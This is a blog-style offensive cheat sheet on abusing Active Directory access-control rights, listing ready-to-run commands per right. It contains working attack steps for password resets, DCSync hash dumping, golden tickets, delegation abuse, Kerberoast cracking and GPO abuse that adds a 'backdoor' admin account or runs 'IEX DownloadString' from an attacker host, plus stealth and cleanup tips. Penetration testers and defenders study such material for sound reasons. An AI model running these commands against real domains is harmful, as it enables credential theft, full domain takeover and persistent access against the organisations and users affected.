ᛉ Yggdrasil

Active Directory

Active Directory ACL Abuse

15 Sep 2026 · 3,323 words · 15 min

Contents

Legend: [DA] = Domain Admin required to set up lab | [ANY] = Any low-priv user can be the victim/target object | [PRIV] = Privileged object (DC, Domain, etc.)


1. GenericAll

What it means: Full control over the target object — equivalent to being its owner.


1.1 GenericAll on a User

Attacks: Force password reset, Shadow Credentials, targeted Kerberoasting (add SPN), add to group.

# --- Option A: Force password reset (no old password needed) ---
net rpc password <TargetUser> 'NewPass123!' -U 'DOMAIN/AttackerUser%AttackerPass' -S <DC_IP>

# With bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> set password <TargetUser> 'NewPass123!'

# With PowerView
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose

# --- Option B: Add SPN then Kerberoast ---
Set-DomainObject -Identity <TargetUser> -Set @{serviceprincipalname='fake/spn'}
GetUserSPNs.py domain.local/attacker:Pass123! -request -dc-ip <DC_IP>
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

# --- Option C: Shadow Credentials (if ADCS/DC supports PKINIT) ---
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>

1.2 GenericAll on a Computer

Attacks: RBCD (Resource-Based Constrained Delegation), Shadow Credentials, LAPS read (if applied).

# --- RBCD Attack ---
# Step 1: Create a machine account (or use existing one with SPN)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Evil123!' -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

# Step 2: Write msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer
rbcd.py -delegate-to '<TargetComputer>$' -delegate-from 'EVIL$' -action write -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

# Step 3: Get impersonation ticket
getST.py -spn 'cifs/<TargetComputer>.domain.local' -impersonate Administrator -dc-ip <DC_IP> 'domain.local/EVIL$:Evil123!'

# Step 4: Use ticket
export KRB5CCNAME=Administrator@cifs_<TargetComputer>.ccache
secretsdump.py -k -no-pass <TargetComputer>.domain.local

# --- Shadow Credentials on Computer ---
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account '<TargetComputer>$' -dc-ip <DC_IP>

1.3 GenericAll on a Group

Attacks: Add yourself or any user to the group.

# net rpc
net rpc group addmem "<GroupName>" <TargetUser> -U 'DOMAIN/attacker%Pass123!' -S <DC_IP>

# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> add groupMember "<GroupName>" <UserToAdd>

# PowerView
Add-DomainGroupMember -Identity '<GroupName>' -Members '<UserToAdd>'

# Impacket
addToGroupMember.py -dc-ip <DC_IP> 'domain.local/attacker:Pass123!' -group "<GroupName>" -member "<UserToAdd>"

1.4 GenericAll on a Domain Object

Attacks: Grant yourself DCSync rights, grant WriteDACL, essentially own the domain.

# Grant DCSync rights to attacker
dacledit.py -action write -rights DCSync -principal attacker -target-dn 'DC=domain,DC=local' -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

# Then run DCSync
secretsdump.py -just-dc domain.local/attacker:Pass123!@<DC_IP>

1.5 GenericAll on a GPO

See Section 17 — GPO Abuse.


2. GenericWrite

What it means: Write access to non-protected attributes of the object (not password).


2.1 GenericWrite on a User

Attacks: Add SPN (Kerberoast), modify scriptPath (logon script), Shadow Credentials.

# --- Targeted Kerberoasting (add SPN) ---
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> set object <TargetUser> servicePrincipalName -v 'fake/spn.domain.local'
GetUserSPNs.py domain.local/attacker:Pass123! -request -dc-ip <DC_IP> -outputfile hashes.kerberoast
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt

# --- Logon Script Abuse (scriptPath) ---
# Drop a malicious script on a share first, then point scriptPath to it
Set-DomainObject -Identity <TargetUser> -Set @{scriptPath='\\ATTACKER\share\evil.ps1'}

# --- Shadow Credentials ---
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>

2.2 GenericWrite on a Computer

Attacks: RBCD via writing msDS-AllowedToActOnBehalfOfOtherIdentity, Shadow Credentials.

# RBCD (same as GenericAll on Computer — write the msDS attribute)
rbcd.py -delegate-to '<TargetComputer>$' -delegate-from 'EVIL$' -action write -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

# Shadow Credentials
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account '<TargetComputer>$' -dc-ip <DC_IP>

2.3 GenericWrite on a Group

Attacks: Modify member attribute — add/remove members.

bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> add groupMember "<GroupName>" <UserToAdd>

# PowerView
Add-DomainGroupMember -Identity '<GroupName>' -Members 'attacker'

2.4 GenericWrite on a GPO

See Section 17 — GPO Abuse.


3. WriteProperty

What it means: Write access to a specific property of an object. Depends on which property is writable.


3.1 WriteProperty (member) on a Group

Attack: Add yourself to the group.

# Identical to AddMember — see Section 8
Add-DomainGroupMember -Identity '<GroupName>' -Members 'attacker'
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> add groupMember "<GroupName>" attacker

Attack: Shadow Credentials — write a certificate keypair and authenticate as the target.

# certipy (auto mode handles everything)
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>

# Manual: add the key credential
certipy shadow add -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>
# Authenticate with the generated pfx
certipy auth -pfx <TargetUser>.pfx -dc-ip <DC_IP>
# Recover NTLM from TGT
# certipy outputs the NTLM hash directly

3.3 WriteProperty (msDS-AllowedToActOnBehalfOfOtherIdentity) on a Computer

Attack: RBCD — see Section 13.


3.4 WriteProperty (servicePrincipalName) on a User

Attack: Targeted Kerberoasting — see Section 15.


3.5 WriteProperty (scriptPath) on a User

Attack: Logon script hijack — execute arbitrary command when the user logs in.

# Set scriptPath to UNC path of attacker-controlled script
Set-ADUser -Identity <TargetUser> -ScriptPath '\\ATTACKER_IP\share\evil.bat'
# When victim logs in, the script runs in their context

4. WriteDACL

What it means: Modify the DACL (access control list) of the object. You can grant yourself any rights.


4.1 WriteDACL on a User

# Grant yourself GenericAll, then do any User attack
dacledit.py -action write -rights FullControl -principal attacker -target <TargetUser> -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

# PowerView
Add-DomainObjectAcl -TargetIdentity <TargetUser> -PrincipalIdentity attacker -Rights All

4.2 WriteDACL on a Group

# Grant yourself AddMember rights, then add yourself
Add-DomainObjectAcl -TargetIdentity '<GroupName>' -PrincipalIdentity attacker -Rights WriteMembers
Add-DomainGroupMember -Identity '<GroupName>' -Members attacker

4.3 WriteDACL on a Computer

# Grant GenericAll on the computer, then RBCD or Shadow Creds
Add-DomainObjectAcl -TargetIdentity '<ComputerName>$' -PrincipalIdentity attacker -Rights All

4.4 WriteDACL on the Domain Object — DCSync

# Grant DCSync rights (GetChanges + GetChangesAll) to attacker
dacledit.py -action write -rights DCSync -principal attacker -target-dn 'DC=domain,DC=local' -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

# PowerView
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity attacker -Rights DCSync

# Then DCSync
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc -just-dc-ntlm

5. WriteOwner

What it means: Change the owner of an object. The owner always has implicit ReadControl + WriteDACL, so you escalate immediately after changing ownership.


5.1 WriteOwner on Any Object

Attack chain: WriteOwner → take ownership → WriteDACL yourself → GenericAll → perform desired attack.

# Step 1: Set yourself as owner
Set-DomainObjectOwner -Identity <Target> -OwnerIdentity attacker

# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> set owner <Target> attacker

# Step 2: Now you have WriteDACL as owner — grant yourself full control
Add-DomainObjectAcl -TargetIdentity <Target> -PrincipalIdentity attacker -Rights All

# Step 3: Perform the relevant attack (password reset, RBCD, DCSync, etc.)

5.2 WriteOwner on the Domain Object

# Take ownership of the domain
Set-DomainObjectOwner -Identity 'DC=domain,DC=local' -OwnerIdentity attacker

# Grant yourself DCSync
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity attacker -Rights DCSync

# DCSync
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc

6. Owns (Object Ownership)

What it means: The SID of your user is set as the object owner. Owners always have ReadControl + WriteDACL implicitly regardless of the DACL entries.

Attack: Identical to having WriteDACL. You can write any ACE on the object.

# Verify ownership with PowerView
Get-DomainObjectAcl -Identity <Target> | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser attacker).objectsid}

# Grant yourself rights then abuse
Add-DomainObjectAcl -TargetIdentity <Target> -PrincipalIdentity attacker -Rights All

7. ForceChangePassword

Extended Right: User-Force-Change-Password

What it means: Change the target user's password without knowing the current one.

# net rpc (no LDAP required)
net rpc password <TargetUser> 'NewPass123!' -U 'DOMAIN/attacker%AttackerPass' -S <DC_IP>

# PowerView
$NewPassword = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $NewPassword

# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> set password <TargetUser> 'NewPass123!'

# Impacket changepasswd
changepasswd.py domain.local/<TargetUser> -newpass 'NewPass123!' -altuser attacker -altpass 'Pass123!' -dc-ip <DC_IP>

Opsec note: Changing a password locks out the real user and may trigger alerts. Prefer Shadow Credentials or Kerberoasting if stealth matters.


8. AddMember / Self-Membership

Rights: WriteProperty on the member attribute OR Self (AddSelf) on a group.

Attack: Add yourself (or any user) to the target group.

# PowerView — add yourself
Add-DomainGroupMember -Identity '<GroupName>' -Members 'attacker'

# PowerView — add arbitrary user
Add-DomainGroupMember -Identity '<GroupName>' -Members '<AnyUser>'

# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> add groupMember "<GroupName>" attacker

# net rpc
net rpc group addmem "<GroupName>" attacker -U 'DOMAIN/attacker%Pass123!' -S <DC_IP>

# Verify membership
Get-DomainGroupMember -Identity '<GroupName>'

Scenario: If <GroupName> = Domain Admins → immediate DA. If <GroupName> = Account Operators → can manage non-protected users/groups.


9. AllExtendedRights

What it means: Grants all extended rights on the object (a superset of many specific extended rights).


9.1 AllExtendedRights on a User

Includes User-Force-Change-Password, DS-Replication-*, and reading confidential attributes like ms-Mcs-AdmPwd (LAPS).

# Force password change
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> set password <TargetUser> 'NewPass123!'

# Read LAPS if applicable
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> get search --filter '(objectClass=computer)' --attr ms-Mcs-AdmPwd

9.2 AllExtendedRights on the Domain Object

Attack: DCSync — you have DS-Replication-Get-Changes + DS-Replication-Get-Changes-All.

secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc -just-dc-ntlm

10. ReadLAPSPassword

Right: AllExtendedRights or explicit read on ms-Mcs-AdmPwd / msLAPS-Password.

What it means: Read the local administrator password stored by LAPS for a computer.

# bloodyAD — dump LAPS passwords
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> get search \
  --filter '(objectClass=computer)' \
  --attr ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime,name

# crackmapexec
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --module laps

# PowerView
Get-DomainComputer -Filter {ms-Mcs-AdmPwd -ne $null} | Select-Object name, ms-Mcs-AdmPwd

# LAPSToolkit
Find-LAPSDelegatedGroups
Get-LAPSComputers

# Impacket
lapsv2dump.py -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

After getting LAPS password:

# Use as local admin on the target machine
crackmapexec smb <TARGET_IP> -u Administrator -p '<LAPSPassword>'
psexec.py Administrator:'<LAPSPassword>'@<TARGET_IP>

11. DCSync (GetChanges + GetChangesAll)

Rights: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain object.

What it means: Simulate a domain controller replication request to pull all password hashes.

# secretsdump — full dump
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc -just-dc-ntlm

# secretsdump — single user (stealthy)
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc-user krbtgt -just-dc-ntlm

# mimikatz (on Windows)
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

# With NTLM hash (Pass-the-Hash)
secretsdump.py -hashes :<NTLM_HASH> domain.local/attacker@<DC_IP> -just-dc-ntlm

Post-DCSync — Golden Ticket:

ticketer.py -nthash <krbtgt_NTLM> -domain-sid <DOMAIN_SID> -domain domain.local FakeAdmin
export KRB5CCNAME=FakeAdmin.ccache
psexec.py -k -no-pass domain.local/FakeAdmin@<DC_IP>

Right: WriteProperty on msDS-KeyCredentialLink attribute (or GenericWrite/GenericAll).

What it means: Add a certificate-based credential to an account and authenticate as them via PKINIT Kerberos.

Requirements: Domain functional level ≥ 2016 OR ADCS with a CA that supports PKINIT (most environments).

# --- certipy (all-in-one) ---
# Auto: adds key, authenticates, gets NTLM, cleans up
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>

# Manual steps:
# 1. Add key credential
certipy shadow add -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>
# Output: saved key to <TargetUser>.pfx

# 2. Authenticate and get TGT + NTLM
certipy auth -pfx <TargetUser>.pfx -dc-ip <DC_IP>
# Output: NTLM hash + TGT (.ccache)

# 3. Use the TGT
export KRB5CCNAME=<TargetUser>.ccache
secretsdump.py -k -no-pass domain.local/<TargetUser>@<DC_IP>   # if DA

# --- pywhisker (alternative) ---
pywhisker.py -d domain.local -u attacker -p 'Pass123!' --target <TargetUser> --action add --dc-ip <DC_IP>
# Then use the pfx with gettgtpkinit.py or certipy auth

# --- For Computer Accounts ---
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account '<ComputerName>$' -dc-ip <DC_IP>
# Use resulting TGT for S4U2Self → S4U2Proxy (RBCD-style pivot)

13. WriteAccountRestrictions / msDS-AllowedToActOnBehalfOfOtherIdentity — RBCD

What it means: Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on a computer. This configures Resource-Based Constrained Delegation, allowing a chosen account to impersonate any user to that computer.

Requirements: Need a controlled account with an SPN (machine account or service account). MachineAccountQuota default = 10, so any domain user can create machine accounts.

# Step 1: Create controlled machine account (attacker needs only domain user)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Evil123!' \
  -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

# Step 2: Write RBCD attribute on target computer
rbcd.py -delegate-to '<TargetComputer>$' -delegate-from 'EVIL$' \
  -action write -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

# Step 3: Request S4U2Self + S4U2Proxy ticket impersonating Administrator
getST.py -spn 'cifs/<TargetComputer>.domain.local' \
  -impersonate Administrator \
  -dc-ip <DC_IP> 'domain.local/EVIL$:Evil123!'
# Output: Administrator@cifs_<TargetComputer>.ccache

# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_<TargetComputer>.ccache
secretsdump.py -k -no-pass <TargetComputer>.domain.local

# Or PSExec
psexec.py -k -no-pass <TargetComputer>.domain.local

# --- Cleanup ---
rbcd.py -delegate-to '<TargetComputer>$' -delegate-from 'EVIL$' \
  -action remove -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

Alternate: If you already have a service account with SPN:

getST.py -spn 'cifs/<TargetComputer>.domain.local' \
  -impersonate Administrator \
  -dc-ip <DC_IP> 'domain.local/svc_account:SvcPass!'

14. ReadGMSAPassword

Right: Read msDS-ManagedPassword attribute on a gMSA account.

What it means: Group Managed Service Accounts store their auto-rotating passwords in a blob readable only by authorized principals. If you're in the authorized group, you can extract the NTLM hash.

# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
  get object 'gMSA_Account$' --attr msDS-ManagedPassword

# crackmapexec
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --gmsa

# gMSADumper.py
gMSADumper.py -u attacker -p 'Pass123!' -d domain.local -l <DC_IP>

# PowerView / GMSAPasswordReader
$gmsa = Get-ADServiceAccount -Identity 'gMSA_Account' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp

After getting gMSA hash — Pass the Hash:

crackmapexec smb <TARGET> -u 'gMSA_Account$' -H <NTLM_HASH>
secretsdump.py -hashes :<NTLM_HASH> 'domain.local/gMSA_Account$'@<DC_IP>

15. WriteSPN — Targeted Kerberoasting

Right: Write servicePrincipalName attribute on a user (via GenericWrite or specific WriteProperty).

What it means: Add a fake SPN to any user account, making it Kerberoastable even if it didn't have one.

# Step 1: Add a fake SPN to the target user
Set-DomainObject -Identity <TargetUser> -Set @{serviceprincipalname='fake/spn.domain.local'}

# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
  set object <TargetUser> servicePrincipalName -v 'fake/spn.domain.local'

# Step 2: Kerberoast the target
GetUserSPNs.py domain.local/attacker:Pass123! -request -dc-ip <DC_IP> \
  -target-domain domain.local -outputfile targeted.hash

# Step 3: Crack
hashcat -m 13100 targeted.hash /usr/share/wordlists/rockyou.txt

# Step 4: Cleanup — remove SPN (opsec)
Set-DomainObject -Identity <TargetUser> -Clear serviceprincipalname

Why useful? Allows Kerberoasting high-privilege accounts (e.g., Domain Admin) that don't have SPNs normally.


16. AllowedToDelegate — Constrained Delegation

Right/Attribute: msDS-AllowedToDelegateTo + TRUSTED_TO_AUTH_FOR_DELEGATION UAC flag.

What it means: A service account with Constrained Delegation can impersonate any user to a specified service (S4U2Proxy). With Protocol Transition (T2A4D flag), it can also get a forwardable ticket for any user (S4U2Self).

# Find accounts with constrained delegation
findDelegation.py domain.local/attacker:Pass123! -dc-ip <DC_IP>
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto

# Abuse — impersonate Administrator to the delegated service
getST.py -spn 'cifs/<TargetServer>' -impersonate Administrator \
  -dc-ip <DC_IP> 'domain.local/svc_constrained:SvcPass!'
export KRB5CCNAME=Administrator@cifs_<TargetServer>.ccache

# If you need a different SPN on the same host (alternate service substitution):
getST.py -spn 'host/<TargetServer>' -impersonate Administrator \
  -altservice 'cifs' -dc-ip <DC_IP> 'domain.local/svc_constrained:SvcPass!'

17. GPO Abuse

Rights: GenericAll, GenericWrite, or WriteProperty on a GPO object (and the GPO must be linked to a relevant OU).

What it means: Modify Group Policy to push malicious configurations to all computers/users in scope.

# Step 1: Find GPOs you have write access to
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
  $_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|GenericAll' -and
  $_.SecurityIdentifier -eq (Get-DomainUser attacker).objectsid
}

# Also via BloodHound: look for "WriteGPLink", "GenericWrite on GPO" edges

# Step 2: Check GPO link scope (which OUs are affected)
Get-DomainOU | Get-DomainObjectAcl | Where-Object { ... }
Get-GPO -All | Where-Object { $_.DisplayName -eq '<GPO_Name>' }

Attack A — Add local admin via GPO (SharpGPOAbuse / pyGPOAbuse):

# Python
pygpoabuse -u attacker -p 'Pass123!' -d domain.local -dc-ip <DC_IP> \
  -gpo-id '<GPO_GUID>' -type localadmin -user attacker

# SharpGPOAbuse (Windows)
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "<GPO Name>"

Attack B — Scheduled Task via GPO:

pygpoabuse -u attacker -p 'Pass123!' -d domain.local -dc-ip <DC_IP> \
  -gpo-id '<GPO_GUID>' -type task \
  -command 'cmd.exe /c net user backdoor Pass123! /add && net localgroup administrators backdoor /add'

Attack C — Immediate Script execution:

pygpoabuse -u attacker -p 'Pass123!' -d domain.local -dc-ip <DC_IP> \
  -gpo-id '<GPO_GUID>' -type script \
  -command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/rev.ps1')"

Force GPO refresh on targets:

crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' -M gpupdate
# Or via RPC: gpupdate /force

18. Self Rights (AddSelf)

Right: Self right on a group's member attribute.

What it means: You can add only yourself to the group (not arbitrary users).

# PowerView
Add-DomainGroupMember -Identity '<GroupName>' -Members 'attacker'

# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
  add groupMember "<GroupName>" attacker

# net rpc
net rpc group addmem "<GroupName>" attacker -U 'DOMAIN/attacker%Pass123!' -S <DC_IP>

19. Extended Right: User-Force-Change-Password

Covered in Section 7 — this is a distinct extended right (GUID 00299570-...) that only allows password reset without knowing the current password.


20. Extended Right: DS-Replication-Get-Changes-All

Covered in Section 11 — both this and DS-Replication-Get-Changes are required for a DCSync. Having only one is insufficient.


21. Scenario Matrix

ACE / Right Target Object Attack Tool
GenericAll User Password reset, Shadow Creds, Kerberoast bloodyAD, certipy, PowerView
GenericAll Computer RBCD, Shadow Creds rbcd.py, certipy
GenericAll Group Add member bloodyAD, PowerView
GenericAll Domain DCSync, DACL abuse secretsdump, dacledit
GenericAll GPO Push malicious policy pyGPOAbuse
GenericWrite User Add SPN → Kerberoast, Shadow Creds bloodyAD, certipy
GenericWrite Computer RBCD, Shadow Creds rbcd.py, certipy
GenericWrite Group Add member bloodyAD
GenericWrite GPO Push malicious policy pyGPOAbuse
WriteProperty (member) Group Add member PowerView, bloodyAD
WriteProperty (msDS-KeyCredentialLink) User/Computer Shadow Credentials certipy, pywhisker
WriteProperty (msDS-AllowedToActOnBehalfOfOtherIdentity) Computer RBCD rbcd.py
WriteProperty (servicePrincipalName) User Targeted Kerberoasting bloodyAD, GetUserSPNs
WriteProperty (scriptPath) User Logon script hijack Set-ADUser
WriteDACL Any Grant self any right dacledit, PowerView
WriteDACL Domain Grant DCSync dacledit, PowerView
WriteOwner Any Take ownership → WriteDACL PowerView, bloodyAD
Owns Any WriteDACL → any attack PowerView
ForceChangePassword User Password reset bloodyAD, net rpc
AddMember / Self Group Add self to group bloodyAD, PowerView
AllExtendedRights User Password reset, LAPS read bloodyAD
AllExtendedRights Domain DCSync secretsdump
ReadLAPSPassword / ms-Mcs-AdmPwd Computer Get local admin password bloodyAD, CME
DCSync (GetChanges+GetChangesAll) Domain Dump all hashes, Golden Ticket secretsdump
AddKeyCredentialLink User/Computer Shadow Credentials → NTLM certipy
WriteAccountRestrictions Computer RBCD rbcd.py, getST
ReadGMSAPassword gMSA Account Extract gMSA NTLM hash gMSADumper, CME
WriteSPN User Targeted Kerberoasting bloodyAD, GetUserSPNs
Constrained Delegation (T2A4D) Service Acct Impersonate any user → S4U getST
GPO WriteProperty/GenericWrite GPO Object Local admin, sched task, script pyGPOAbuse
Self (AddSelf) Group Add self to group bloodyAD, PowerView

Enumeration — Finding Abusable ACLs

# BloodHound (recommended — visualizes the entire attack path)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc <DC_IP> \
  -c All --zip
# Import zip into BloodHound, use built-in queries:
# "Find Principals with DCSync Rights"
# "Find Principals with Unknown DCSync Rights"
# "Shortest Paths to Domain Admin"

# PowerView — enumerate ACLs for current user
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
  $_.IdentityReferenceName -match 'attacker|groupname'
}

# PowerView — check specific object
Get-DomainObjectAcl -Identity <Target> -ResolveGUIDs | Where-Object {
  $_.ActiveDirectoryRights -ne 'GenericRead'
}

# dacledit — enumerate
dacledit.py -action read -target <Target> -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'

# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> get object <Target> --attr ntSecurityDescriptor

Quick Reference — Tool Cheat Sheet

Tool Install Common Use
bloodyAD pip install bloodyad LDAP-based ACL abuse (write attrs, add members, passwords)
certipy pip install certipy-ad Shadow Credentials, ADCS ESC attacks
dacledit.py Impacket Read/write DACLs
rbcd.py Impacket RBCD attribute manipulation
getST.py Impacket S4U2Self/S4U2Proxy ticket requests
secretsdump.py Impacket DCSync, dump hashes
addcomputer.py Impacket Create machine accounts
GetUserSPNs.py Impacket Kerberoasting
pygpoabuse pip install pygpoabuse GPO-based attacks
gMSADumper.py GitHub gMSA password extraction
pywhisker GitHub Shadow Credentials (alt to certipy)
crackmapexec pip install crackmapexec Enumeration, LAPS, gMSA
PowerView GitHub (PowerSploit) AD enumeration + ACL abuse
BloodHound + bloodhound-python GitHub Attack path visualization

← Active Directory top ↑